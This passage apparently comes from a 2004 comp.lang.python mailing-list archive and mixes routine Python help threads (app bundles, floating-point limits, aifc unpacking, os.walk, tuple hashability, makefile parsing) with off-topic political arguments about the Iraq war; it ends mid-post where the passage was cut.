<2qq5adF133c5kU1@uni-berlin.de> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> <1gk76qq.kwo4dz1cftwe3N%aleaxit@yahoo.com> <1gk7oh4.1lgmrxo1pjcaw5N%aleaxit@yahoo.com> <1095378815.31957.166.camel@devilbox.devilnet.internal> <278de0e.0409231337.1a032135@posting.google.com> <1gknx0k.m09llxutwktbN%aleaxit@yahoo.com> Message-ID: <1gkonog.zqrla7f82ydaN%aleaxit@yahoo.com> Cameron Laird wrote: ... > "Globalization" just advertising for a refinement of imperialism? > Of course not, to those of us fundamentally aligned with the > progressivism on display in, to echo your example, *The Econo- Amartya Sen's book is another excellent display of that "of course not". Some people have taken Stiglitz's and Sen's books as "warring Nobel-laureate economists con vs pro globalisation", but that's silly. Rather, Stiglitz focuses more on some ugly aspects of what parts of the globalisation process have actually BEEN; Sen, more on the sunny parts and on what they COULD and SHOULD be. I'm sure Sen and Stiglitz actually agree on FAR more than what they disagree on -- unfortunately, it's likely to be stuff the average street-demonstration participant, laid-off worker, or elected politician can't possibly understand, unless they take a few years off to get the needed background, starting with differential equations and moving up from there;-). > I struggle to bring this all back on-topic. Mention of http://www.pbs.org/cringely/pulpit/pulpit20040923.html > is my > current attempt. Tx for the pointer. DMCA _is_ truly scary. OTOH, one _can_ devotely pray that MS is overplaying their hand, just like IBM did not all THAT long ago with their proprietary "token rings", OS/2, and "microchannels"... IBM almost managed to destroy _itself_ that way, though Gerstner was there to save it from the brink... And yes, if emerging third-world nations aren't making sure there's Open Source for everything they can possibly need, the only explanation must be the high level of corruption in their polities. It's the only sensible strategy on any political and economic plane, after all. Alex From pmaupin at speakeasy.net Tue Sep 21 22:47:42 2004 From: pmaupin at speakeasy.net (Patrick Maupin) Date: 21 Sep 2004 19:47:42 -0700 Subject: Electronic voting feasibility References: <653b7547.0409181444.41e0d131@posting.google.com> <653b7547.0409201633.5216dfef@posting.google.com> Message-ID: <653b7547.0409211847.931e78d@posting.google.com> Richie Hindle wrote > I believe that's an "attributive use" of the noun "sound", as in "brick wall" > or "town council". See "Adjective (1)" in The New Fowler's. You're absolutely right -- in English just about any noun can be used as an adjective, and www.m-w.com does actually have the compound noun "sound wave", but I had _just_ been using the thesaurus, and found it quite humorous that I couldn't find either "synonymous" or "synonym" therein, so I was looking for an excuse to make yet another lame joke, but that obviously wasn't a "sound decision" :) Pat From greg at cosc.canterbury.ac.nz Thu Sep 30 02:02:40 2004 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Thu, 30 Sep 2004 18:02:40 +1200 Subject: Clickable (wx)python app in OS X In-Reply-To: <69cbbef2.0409251356.21614b2b@posting.google.com> References: <26658f61.0409250605.32f18ba2@posting.google.com> <69cbbef2.0409251356.21614b2b@posting.google.com> Message-ID: <2s1ls3F1fn0lqU1@uni-berlin.de> has wrote: > desiredusername at gmail.com (PhysicsGenius) wrote in message news:<26658f61.0409250605.32f18ba2 at posting.google.com>... > >> So, how do I create a clickable icon that will launch my wxPython >> program? > > http://pythonmac.org/wiki/BundleBuilder You could also try creating a bundle by hand. I tried that as an experiment recently, and I got it to work. From memory, all you need is a directory structure that contains NameOfApp.app/Contents/MacOS/NameOfApp where the final NameOfApp is the executable. This can be a Python script with a #! line that invokes the appropriate interpreter (python or pythonw). Any other modules that it needs can be put in the MacOS directory alongside it. Another way is to use AppletBuilder to create a "skeleton" bundle from your main .py file, and then manually add other required modules to the MacOS directory. That will give you command line emulation, ability to give it a nice icon, etc. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From danb_83 at yahoo.com Tue Sep 14 00:51:17 2004 From: danb_83 at yahoo.com (Dan Bishop) Date: 13 Sep 2004 21:51:17 -0700 Subject: #comments References: Message-ID: Ken Parkes wrote in message news:... > Hi, > New to this game. Have tried the following. > > data=raw_input("Type something ") # spaces after "something" > myInput=data This isn't related to your question, but why are you using two assignment statements when one will do? myInput = raw_input("Type something ") From gumuz at NO_looze_SPAM.net Thu Sep 2 07:05:02 2004 From: gumuz at NO_looze_SPAM.net (Guyon Morée) Date: Thu, 2 Sep 2004 13:05:02 +0200 Subject: python.NET vs. IronPython (was: .net and python) References: Message-ID: <4136fe58$0$285$4d4ebb8e@news.nl.uu.net> Can anyone tell me the difference between python.net and IronPython? "Lawrence Oluyede" wrote in message news:xzh9kwuw4lj8$.18shw4j93827i.dlg at 40tude.net... > In data Thu, 2 Sep 2004 18:28:03 +1000, Ajay ha scritto: > > > Is it possible for me to have part of my application written using C#.NET > > and then have it called from within a Python program. > > Try Python.NET http://www.zope.org/Members/Brian/PythonNet/index_html > From there you can access dotNET libraries within a Python program > > -- > Lawrence (l dot oluyede at virgilio dot it) > "If the implementation is hard to explain, it's a bad idea." > from The Zen of Python by Tim Peters From anthonybaxter at gmail.com Wed Sep 1 11:11:21 2004 From: anthonybaxter at gmail.com (Anthony Baxter) Date: Thu, 2 Sep 2004 01:11:21 +1000 Subject: multipart/form-data in an HTTP client In-Reply-To: References: Message-ID: On Wed, 01 Sep 2004 14:52:33 GMT, Nelson Minar wrote: > There are some implementations of multipart/form-data on ASPN: > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/146306 > urllib2_file seems to meet my needs, but I'm not wild about how it's > implemented. Is there some other recommended way to do > multipart/form-data uploads with HTTP in Python? I like ClientForm. I hope one day it or something like it will be in the stdlib. From jmfbahciv at aol.com Wed Sep 15 06:21:35 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Wed, 15 Sep 04 10:21:35 GMT Subject: Xah Lee's Unixism References: <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> <4146dc2f$0$2665$61fed72c@news.rcn.com> Message-ID: <41482b04$0$2651$61fed72c@news.rcn.com> In article , Greg Menke wrote: > >jmfbahciv at aol.com writes: > >> In article , >> Greg Menke wrote: >> >Chuck Dillon writes: >> > >> >> Antony Sequeira wrote: >> >> >> >> > Chuck Dillon wrote: >> >> > How is that related to Saqqddam Hussqqqqqain being a jackass and us >> >> > spending 100 or whatever billions on removing him and having 1000+ >> >> > of Americans + unknown number of Iraqqqqqis getting killed. How does >> >> > that help avoid >> >> > 9 qqqq 11 or are you confused between Iraqqqqqis and Saudqqqqis ? >> >> >> >> If you reread the post that you responded to you will see it has >> >> nothing to do with Iraq. >> >> >> >> However, to answer your question: How does regime change in Iraq help >> >> avoid another 9/11... >> >> 1) It removes one of the states that might consider sponsing >> >> such a future attach. >> > >> >Wouldn't it have made more sense to invade Saudi Arabia? >> >> No. It would have been the stupidest thing to do. Invasion >> of Islam's holiest place would have ensure that this mess >> turned into a 100% religious war. > >They're pretty convinced of that already- after all Dubya called this >a crusade from day 1. I thought this war was about threats, not >superstition. You wingers keep changing it around. In what way would >invading and occupying a country that supplies, trains, funds the >terrorists who performed 9/11 be the supidest thing? I don't know. Ask Kerry. He's been saying that everything George Bush did was wrong; this has to include dealing with the Taliban in Afghanistan. > .. Isn't the >stupidest thing really invading a country that neither trained nor >harbored 9/11 terrorists or even had much of any weapons suitable for >attacking a neighbor country? Nope. Transforming attitudes is the goal. If the only justification of dealing with a mess is revenge, then you do not believe that mess prevention is a valid reason. I happen to think that mess prevention is the best approach. We have different styles. > .. If we invaded Iraq simply because its >, and then back off from laying waste to whatever we want >whenever we want inside the country, then we're not really sending a >convincing message are we? I have problems with these actions, too. BAcking off is the very last thing we should be doing with people who think in the militants' style. > .. And then, if we choose to get tough and >carpet bomb any city with insurgent activity, then we become the evil >country that we're accused of being. This is one of the faces of >quagmire & we're stuck in it. Nope. Not carpet bomb. Carpet bombing a city will not work. This has to be up close and personal. > >Kicking around the weak kids does not impress another bully enough to >leave you alone, you have to beat him up. We started doing so in >Afganistan, then blew it in Iraq. Iraq hasn't even had time to start. Nobody can tell if we've blown it in Iraq. That country is filled with entrepeneur potential. So far, that potential is getting spent on weapons procurements and discharges. The trick for success will be to herd the potential into non-self-destructive enterprises. That is where we have made a mistake. That guy that was put in charge favored foreign, not local, enterprises AIUI. I interpretated this favortism as an effort to appease France and Germany...I'm not sure about Russia. > > >> > .. Thats where >> >the terrorist money and terrorist leadership is from. >> >> IIRC, Hitler came from Austria. So we should have only >> invaded Austria to gain control of Africa and Europe? > >But Hitler was a real threat to his neighbors and was occupying other >countries. Saddam could hardly feed his own troops much less invade >anybody. This should give you a clue. If Saddam was cash poor what do you think he would do to acquire more cash. After 1990, Saddam seems to have into transferring all of Iraq's wealth into his foreign bank accounts or cold hard American cash. > .. 10 years ago was different, I'm not vastly fond of Dubya >Sr., but I think he did the right things in Iraq; he was a better >president than his son in all respects. That was a UN effort. > > >> > .. Iraq is chump >> >change on that account- >> >> It's an ideal place. It's located right in the middle of >> all potential trouble makers; its people are more educated >> than the other countries' populations so getting them >> self-supporting doesn't need a cold start. The country >> was already an enemy who had violated terms of cease fire >> over and over and over and over and over and over ... >> again. > >Are you really advocating that we invade, depose, occupy, torture and >kill all for foreign policy convience? It's called national security and, if that is what it takes, yes. In this case, diplomacy didn't work; sanctions didn't work; containment didn't work [please ignore this, Rupert]; isolated bombing of borders didn't work; cease fires after getting the shit beat of him didn't work. Other than completely wiping the country and its contents off the map which is a physical impossibility, invasion is about the only option left. > .. And what in the world makes >you think the Iraqi economy is going to be self-sufficient anytime in >the next 5 years? Who says I think it's only going to take 5 years? > ..Their economy was a top to bottom disaster, a new >one isn't "started", its grown. You'll be happy pumping untold >billions of dollars into their economy over there as long as you don't >have to pay for it with taxes over here. Why are you assuming that I think all of this effort is going to be free? > .. GOP fantasy-land. > >The "violations" of the cease-fire were the equivalent of kids >throwing rocks at passing airplanes. Big deal. This is where your logic flaw lies. It was a big deal. Others interpreted this as weakness of Western resolve. > .. Saddam's luck was >going to run out at some point- and keeping the lid on him was VASTLY >cheaper than taking over his country. It would not have been cheaper. Not at all. > >Well, you've gotten your legally entitled revenge- I hope you like it. Afghanistan was revenge. This is mess prevention and has nothing to do with revenge. > > >> > .. heck, even Iran or Syria would've made a much >> >better target on this basis. Or are we such bullies that we'll pick >> >the weakest kid to beat up to show how strong we are? >> >> Yes. It's a good plan and the cheapest. > >So you're feeling pretty good about the bodycount these days. How >many dead US soldiers and Iraqiis will slake your bloodlust? Go ahead and count the bodies. I'm amazed it is so low. > >I will look forward to your spirited defense of any country in the >world invading another simply because they can & feel like it. /BAH Subtract a hundred and four for e-mail. From nick at huff.org.uk Fri Sep 3 17:29:36 2004 From: nick at huff.org.uk (Nick Evans) Date: Fri, 3 Sep 2004 21:29:36 +0000 (UTC) Subject: How to actually write a program? Message-ID: Hello there, I have been on and off learning to code (with python being the second language I have worked on after a bit of BASIC). What I really want to know is, if you are going to actually write a program or a project of some sort, how do you actually start. Picture this, you know what you want the program to do (its features), you have a possably rough idea of how the program will work. You have opened an empty text file and saved it as 'mykewlprogram.py' and now your sitting in front of an empty text file... Now then.... where do I start. Any ideas about this problem :-) Ta Nick From http Tue Sep 21 01:18:38 2004 From: http (Paul Rubin) Date: 20 Sep 2004 22:18:38 -0700 Subject: Floating-point glitches with the math module. Bug? Or am I missing something? References: Message-ID: <7xacvk19ox.fsf@ruckus.brouhaha.com> Chris Metzler writes: > >>> print math.acos(math.cos(2e-8)) > 2.10734242554e-08 > > 5% error at 2e-8 is awful; and anything below 1.1e-8 is 0, pretty much. I don't know if you can expect much better. For small x, cos(x) is approx. 1-x^2/2, so cos(2e-8) is about 1-(2e-16), which is pushing the precision of an IEEE double. It's not a library error; you're reaching the limits of what the machine arithmetic can do. > I can't find a module in the Library Reference that provides > higher-precision functions. Is there one around? I guess you could use gmpy and some infinite series, or there may be a way to recompile Python to use 80-bit extended floats if your hardware supports them (the x86 does). However, the best approach is to arrange your calculation to not lose precision so easily. Any numerical analysis book spends a lot of time discussing how to do that. From albalmer at att.net Fri Sep 3 17:17:25 2004 From: albalmer at att.net (Alan Balmer) Date: Fri, 03 Sep 2004 14:17:25 -0700 Subject: Xah Lee's Unixism References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> Message-ID: On Fri, 03 Sep 2004 14:22:55 -0600, Anne & Lynn Wheeler wrote: >Alan Balmer writes: >> No, because they were *not* manufactured on the launch pad. >> Transportation would be required from any other place - in Utah or >> not. >> >> Even if they were manufactured on the launch pad, there would be >> more than one piece. > >as mentioned in the earlier post .. Your earlier post mentioned a unattributed "claim" and unattributed "assertions", and extrapolated from there. I didn't take it as gospel. Especially since a space shuttle is a rather complex object, and a blithe assertion that it could be built as a "single unit" seems a bit far-fetched. I'm not a fan of Mr Hatch, but blaming him for the shuttle disaster(s) is somewhat over the top. Why not blame President Bush? That's the popular thing nowadays. -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From wangjc101 at yahoo.com Tue Sep 21 13:06:26 2004 From: wangjc101 at yahoo.com (Jhy-Chun Wang) Date: Tue, 21 Sep 2004 10:06:26 -0700 Subject: build 64bit python on Solaris In-Reply-To: <414fc272$0$19020$9b622d9e@news.freenet.de> References: <414fc272$0$19020$9b622d9e@news.freenet.de> Message-ID: I need to load 64bit C++ modules, will 32bit python do the work? I did try -g alone, but still failed with the same error. Thanks, Jhychun Martin v. L?wis wrote: > Jhy-Chun Wang wrote: > >> Any idea what went wrong? what configuration/compiler options should I >> use to build a 64bit python on Solaris? > > > As a starting point, try using a 32-bit Python. There is no advantage > in using a 64-bit Python I can see. > > If you must have a 64-bit Python, try turning off the optimization in > your compiler, and make sure you have the latest compiler patches > applied. > > Regards, > Martin From _jones_57_ at _swbell.net Sat Sep 4 23:57:50 2004 From: _jones_57_ at _swbell.net (sj) Date: Sun, 05 Sep 2004 03:57:50 GMT Subject: Need help with struct and aifc modules. Message-ID: <29w_c.17010$7l.15795@newssvr22.news.prodigy.com> Im trying to read sample values from aiff files but can not seem to get the unpacking right. Ths following code reads n frames from a sample file and prints the amplitudes to the terminal. In the call to struct.unpack 'h' is the only formating string I can use without getting the message "struct.error: unpack str size does not match format" However the output is wrong. The test file contains a single cycle sine wave which is positive for the first 50 samples. What am I doing wrong? import aifc import struct import string def dump_frames( file, start=0, end=None): fobj = aifc.open( file, 'r') fobj.setpos( start) if not end: end = fobj.getnframes() index = start while index < end: raw = fobj.readframes(1) val = struct.unpack("h", raw)[0] print "Frame ", string.rjust( str(index), 8), " : ", print "Value ",string.rjust( str(val), 12) index += 1 >>> sfile = "/samples/test.aiff" >>> print get_aiff_stats( sfile) aifc file /samples/test.aiff n channels 1 sample width 2 frame rate 44100 n frames 100 compression NONE not compressed markers: NONE >>> dump_frames( sfile, 0, 11) Frame 0 : Value 0 Frame 1 : Value 14343 Frame 2 : Value 26638 Frame 3 : Value -30187 Frame 4 : Value -27108 Frame 5 : Value -31453 Frame 6 : Value 20778 Frame 7 : Value -3536 Frame 8 : Value 25143 Frame 9 : Value -26051 Frame 10 : Value -27581 -- Replace underscores in email address to reply From deetsNOSPAM at web.de Thu Sep 16 06:43:41 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Thu, 16 Sep 2004 12:43:41 +0200 Subject: comparing datetime with date References: Message-ID: >> The matter is that you try to compare two different things here - so its >> up to the implementation if how it deals with this, as there is no >> canonical way to compare two things that aren't even structural >> equivalent. > > datetime and date are different by implementation, not by meaning. Both > are time intervals. Neither of them is - they are discrete points in time, with different resolution. There is a difference in saying "vacation starts at 9/9/2004" or "lets meet at 9/9/2004, 12:00" - even to non-programmers. -- Regards, Diez B. Roggisch From jacob at cd.chalmers.se Mon Sep 13 09:20:47 2004 From: jacob at cd.chalmers.se (Jacob Hallen) Date: 13 Sep 2004 13:20:47 GMT Subject: compiling to python byte codes References: <4136b2b5$1@news.unimelb.edu.au> <4137a850$1@news.unimelb.edu.au> <4137bf73$1@news.unimelb.edu.au> Message-ID: In article <4137bf73$1 at news.unimelb.edu.au>, Maurice LING wrote: >Jeremy Bowers wrote: >> On Thu, 02 Sep 2004 23:10:11 +0000, Maurice LING wrote: >I am using SBML (system biology markup language) as a front-end >modelling language for my project. And for ease of further maintenance >of the model and interoperability purposes, my project requires me to >convert it into an intermediate form (MA), which is somewhat assembly is >structure, as in, each instruction takes the form of >*. Here I am, attempting to write a virtual machine that can >run MA, using python. So, it becomes a MA virtual machine running on >python virtual machine. > >My concern is, is it simpler to convert MA to python codes or python >bytecodes. What are the pros and cons? Assuming that to convert to >python source code is a choice, I'm thinking that MA virtual machine can >then read a MA instruction and output the corresponding python source >codes, but are there facilities in python to run python codes, line by >line, as it is being thrown out by MA virtual machine? The Python virtual machine is not something that is fixed. It may change between Python versions. For this reason, it is a bad idea to generate bytecode directly, since you may have to redo the work many times. It is much better to have Python as the target language of your SBML compilation. Jacob Hall?n -- From h.b.furuseth at usit.uio.no Thu Sep 2 13:29:25 2004 From: h.b.furuseth at usit.uio.no (Hallvard B Furuseth) Date: 02 Sep 2004 19:29:25 +0200 Subject: sys.stdin.readline() References: <367a4461.0408311221.30866c09@posting.google.com> Message-ID: I just realized... Mike Maxwell wrote: > When I invoke readline() in a for loop, why does it return a series of > one-char strings, rather than the full line? > >>>> for sL in sys.stdin.readline(): print sL for sL in iter(sys.stdin.readline, ''): print sL, -- Hallvard From roy at panix.com Sun Sep 5 08:20:08 2004 From: roy at panix.com (Roy Smith) Date: Sun, 05 Sep 2004 08:20:08 -0400 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> <1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com> <1094359182.57429@yasure> Message-ID: "Donn Cave" wrote: > I expect it's used relatively infrequently, and for different > reasons. "if len(info) == 5", for example - just from that > line from a relatively popular Python application, would you > guess info is a list, or a tuple? I'd guess it was something which had a __len__ method. > Maybe the problem is that tuples have too many features already. > It's sort of silly that they're indexed by number, and if that > weren't allowed, we would find fewer people trying to make lists > of them. If tuples weren't indexed, the only way you'd be able to access the elements would be to unpack them, which would be rather inconvenient. Unless of course you had an alternate way to name the elements, but if you're going to allow named element access, and forbid indexed access, then you might as well just create a normal class instance. The more I look into this, the more I realize just how inconsistent the whole thing is. For example, tuples can be used as dictionary keys because they are immutable. Or so it's commonly said. But, that's not true. The real reason they can be used as keys is because they're hashable. If you try to use a list as a key, it doesn't complain that it's immutable, it complains that it's unhashable: >>> d = {} >>> d[[1, 2]] = 3 Traceback (most recent call last): File "", line 1, in ? TypeError: list objects are unhashable Furthermore, regular objects can be used as keys, even though they *are* mutable. You can do this: class data: pass key = data () key.x = 1 key.y = 2 d = {} d[key] = None dictKey = d.keys()[0] print dictKey.x, dictKey.y key.x = 42 dictKey = d.keys()[0] print dictKey.x, dictKey.y If a mutable class instance object can be used as a dictionary key, then I don't really see any reason a list shouldn't be usable as a key. How is a class instance's mutability any less of disqualifier for key-ness than a list's mutability? And, once you allow lists to be keys, then pretty much the whole raison d'etre for tuples goes away. And if we didn't have tuples, then we wouldn't have to worry about silly syntax warts like t = (1,) to make a 1-tuple :-) From sridharinfinity at gmail.com Sun Sep 5 22:24:14 2004 From: sridharinfinity at gmail.com (Sridhar R) Date: 5 Sep 2004 19:24:14 -0700 Subject: Linux application deployment In-Reply-To: Message-ID: Read the link target then. From danperl at rogers.com Wed Sep 29 12:09:08 2004 From: danperl at rogers.com (Dan Perl) Date: Wed, 29 Sep 2004 12:09:08 -0400 Subject: how to get files in a directory References: Message-ID: <5OadnXae2Im3Q8fcRVn-sw@rogers.com> First of all, Jeremy already pointed out that your code has several errors. I'll assume though that your real code is more complicated and you just tried to show us a simplification of your code. On the other hand, without the real code we cannot tell why it works for 1 level and it does not work for 2 levels. As someone pointed out already, it migh be because you are using "\" instead of "\\" for path separators. Python will accept "\c" as if it was with double backslashes but it will reject "\x" because that is a special character. Based on the example that you gave, you are also misunderstanding os.walk. os.walk returns 3 values (I'll use the names in your code): - root - the parent directory at this point in the traversal of the tree - dir - the list of children directories in root (right below root) - files - the list of files in root So the files in the 'files' list are not under dir but under root. So it does not make sense to loop over 'files' inside the loop over 'dir' or to join root+i+j. Both your 'i' and your 'j' are just under 'root'. I'm not sure either what you are trying to do with "root+i+j". You probably need os.path.join(root,i) and os.path.join(root,j) Dan "Anand K Rayudu" wrote in message news:mailman.4078.1096469771.5135.python-list at python.org... > > Hi all, > > I am trying to find a way to get the files recursively in a given > directory, > > The following code is failing, can some one please suggest what could be > problem here > > > from os import walk,join > > for root,dir,files in os.walk("E:\myDir1\MyDir2"): > for i in dir: > for j in files: > fille = root+i+j > print file > > Surprisingly if i give os.walk("E:\myDir1") the above code works, but not > if i have 2 levels of directories. > > Thanks & Best Regards, > Anand > > From rick_muller at yahoo.com Thu Sep 2 14:15:34 2004 From: rick_muller at yahoo.com (rick_muller at yahoo.com) Date: 2 Sep 2004 11:15:34 -0700 Subject: Parsing a makefile using Python Message-ID: I'm interested in parsing a (simple) Makefile using Python. I need to write a packager for a program I'm supporting, and would like to read the list of files in the makefile so that I only have to update that list once. That is, I have a statement (actually multiple statements) in the Makefile that looks like: FILES = a.f b.f c.c d.py e.c \ f.f g.f h.c and would like a standard way of parsing this. Being able to include references to other definitions in the makefile, such as FILES2 = $(FILES) i.f would be nice as well. I found an old reference to a post on this topic: http://groups.google.com/group/comp.lang.python/browse_thread/thread/1e3ccf5d05e743c3/b0f9fc21e3bf32c2#b0f9fc21e3bf32c2 that suggested the distutils could do this, but I haven't found anything in the documentation for the distutils. Any suggestions? Thanks in advance, Rick From garyr at fidalgo.net Sun Sep 19 13:56:23 2004 From: garyr at fidalgo.net (Gary Richardson) Date: Sun, 19 Sep 2004 10:56:23 -0700 Subject: win32api.SetCursorPos() question References: <10kol21ah3ulpcc@corp.supernews.com><10kp7cg7au8pn20@corp.supernews.com> Message-ID: <10kri7j4uugj9e0@corp.supernews.com> "Heiko Wundram" wrote in message news:mailman.3505.1095596265.5135.python-list at python.org... > Am Samstag, 18. September 2004 22:41 schrieb Gary Richardson: > > I tried that. It doesn't produce an error but no cursor appears. > > I don't know much about the win32-api, but SetCursorPos sounds like a > text-console command, not like something that has to do with windows. > Funtions that operate on a window take a HWND (window handle), but this > function doesn't, so this certainly sounds like text-console. > > Now, why are you trying to position the cursor in a Tk Window anyway? The > Tk-Window is no text console, it's just a plain window on the screen, and you > can draw in the window using the normal Tk drawing primitives. > > Maybe, if you post some more info on what you're trying to do, can we help you > better... > > Heiko. Heiko, Thank you for your reply. It encouraged me to read the MSVS documentation on cursors a little more closely and to try a few things. I found that the win32api function GetCursorPos() returns the position of the cursor with respect to the computer screen so assuming that SetCursorPos() uses the same coordinate system, I would have to add to my window coordinates the position of the canvas with respect to the screen. I then took another look at Vincent Wehren's and DogWalker's (direct email) suggestion that I pass SetCursorPos() a tuple instead of a pair of values and found that did indeed work. The cursor was there, it just wasn't where I expected it to be. I'm using a Tk Canvas window to display various objects, one of which can be a block of text entered from the keyboard. The user positions the cursor to the desired position and begins typing, terminating the entry by pressing the Esc key. From that point the text block can be manipulated (moved, copied or deleted) by means of the mouse. As it is now, during text entry, there is no indication of where the next character is to be entered. So I thought it would be nice if I could indicate the insertion point as is usual with text entry programs, editors, etc. Thanks for all the help. Gary From http Fri Sep 10 16:22:07 2004 From: http (Paul Rubin) Date: 10 Sep 2004 13:22:07 -0700 Subject: scripting a web site w/Javascript References: <41420050$1@news.vo.lu> Message-ID: <7xr7p9an80.fsf@ruckus.brouhaha.com> Patrick Useldinger

writes: > I would like to script a specific website. I've had a start with > httplib, but now I need to push a button () that > triggers a Javascript function and then directs to some > URL. Obviously, I cannot just go to the URL because the function would > not get executed. > > Can something like this be done via httplib? If not, is there a > library available to do it? You pretty much have to examine the javascript and figure out what it really sends to the server when you press the button. Then program httplib or urllib to send the same thing. From sheldonplankton at yahoo.com Sat Sep 11 00:00:46 2004 From: sheldonplankton at yahoo.com (Sheldon Plankton) Date: 10 Sep 2004 21:00:46 -0700 Subject: fledgling Python online forum Message-ID: <2e05134b.0409102000.663f59e6@posting.google.com> Hi, I have put together a prototype of a Python Programmmers forum. It is similar to perlmonk.org, yet not as advanced in functionality. If such a site might interest you please visit it at http://66.32.187.134 I haven't chosen where I'll eventually host the site. Why not take a look and post a commment? Thanks Plankton From cbeck at mercury.bc.ca Fri Sep 10 14:05:06 2004 From: cbeck at mercury.bc.ca (Coby Beck) Date: Fri, 10 Sep 2004 18:05:06 GMT Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> Message-ID: "Alan Balmer" wrote in message news:3fh3k0tnumgcvdd89h8jbbnc2j92t97i76 at 4ax.com... > Can you point to the international agreement which allows Canadian > citizens to be thrown into US jails for the stated offense? It's probably in the same international agreement that allows citizens of any country to be held incommunicado indefinitely in Guantanamo Bay. And the same international agreement that allows Afgan and Iraqi POW's to be imprisoned with no Geneva convention protection and hidden from International Red Cross. Do you really think the Bush administration cares about international agreements? -- Coby Beck (remove #\Space "coby 101 @ big pond . com") From carribeiro at gmail.com Mon Sep 6 09:29:02 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 6 Sep 2004 10:29:02 -0300 Subject: What about an EXPLICIT naming scheme for built-ins? In-Reply-To: References: <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com> <864d370904090413356356d84d@mail.gmail.com> Message-ID: <864d37090409060629409fe626@mail.gmail.com> On Mon, 06 Sep 2004 09:23:00 +0200, Peter Otten <__peter__ at web.de> wrote: > For the sake of completeness, bypassing reversed() gains you another factor > of two and might be worthwile, too, if you need the resulting list. > > $ python2.4 timeit.py -s"r = range(1000)" "[i for i in reversed(r)]" > 10000 loops, best of 3: 148 usec per loop > $ python2.4 timeit.py -s"r = range(1000)" "list(reversed(r))" > 100000 loops, best of 3: 19.5 usec per loop > $ python2.4 timeit.py -s"r = range(1000)" "r[::-1]" > 100000 loops, best of 3: 9.17 usec per loop So we now have three different idioms for what could potentially be a single one -- a call to the reversed() builtin. Isn't it a good enough reason to think about it? BTW a solution just crossed my mind while writing now. I'm just brainstorming, so please be gentle :-) It goes like this: a) reversed_list = reversed(mylist).list (using a read-only property) b) reversed_list = reversed(mylist).list() (using a method) The idiom above could be implemented to run just as fast as the slicing version (r[::-1]) (in fact, it could just return the slice with very little setup overhead). It's not ideal, but may be a compromise between the current scenario (reversed() returning an iterator) and the lack of obvious choices (as shown by the existence of widely different idioms). -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From aleaxit at yahoo.com Fri Sep 3 04:06:32 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 3 Sep 2004 10:06:32 +0200 Subject: initializing mutable class attributes References: <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> <1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com> <1gjg2g0.1yx50mvx6csq3N%aleaxit@yahoo.com> <1gjg9tm.14a3nqg36zs8fN%aleaxit@yahoo.com> Message-ID: <1gjj6zv.rb87lcaize9sN%aleaxit@yahoo.com> Dan Perl wrote: > "Alex Martelli" wrote in message > news:1gjg9tm.14a3nqg36zs8fN%aleaxit at yahoo.com... > ........ > > Incidentally, FAR from your assertion that, in C++, "subclasses don't > > need to know anything about how the superclass is implemented", reality > > is just the other way 'round. Subclasses have to be _intimately > > familiar_ with key aspects of superclasses' implementation -- not just ... > No, Alex. Data members in a C++ subclass cannot conflict with data members > in its superclass, public, protected, or private. They are resolved by Sorry, I didn't explain clearly the breakage example -- try this one, which is as tiny as I can make it: #include "Base.h" int foo = 23; class Derived: public Base { public: Derived() { foo = 45; } }; Is this code correct? Sure, it compiles and runs perfectly using Base version 12.3. Then Base comes out with version 12.4 and this does not compile any more. Why? Because the new version of Base has added a private member named foo. Admittedly it breaks at compile-time, which is a bit better than breaking at unittest-time as it would if Base had grown a _public_ member named foo (as the global foo doesn't get updated any more but rather the per-instance one does). But the point is: coupling between superclasses and subclasses is STRONG. To code a subclass, you can't ignore what the superclass is doing, including some implementation aspects -- much less of course ignore aspects of the superclass's public interface, as you erroneously claimed. Alex From peacock at simconv.com Fri Sep 10 15:35:02 2004 From: peacock at simconv.com (Jack Peacock) Date: Fri, 10 Sep 2004 12:35:02 -0700 Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> Message-ID: "Alan Balmer" wrote in message news:3fh3k0tnumgcvdd89h8jbbnc2j92t97i76 at 4ax.com... > Can you point to the international agreement which allows Canadian > citizens to be thrown into US jails for the stated offense? > Canada does extradite 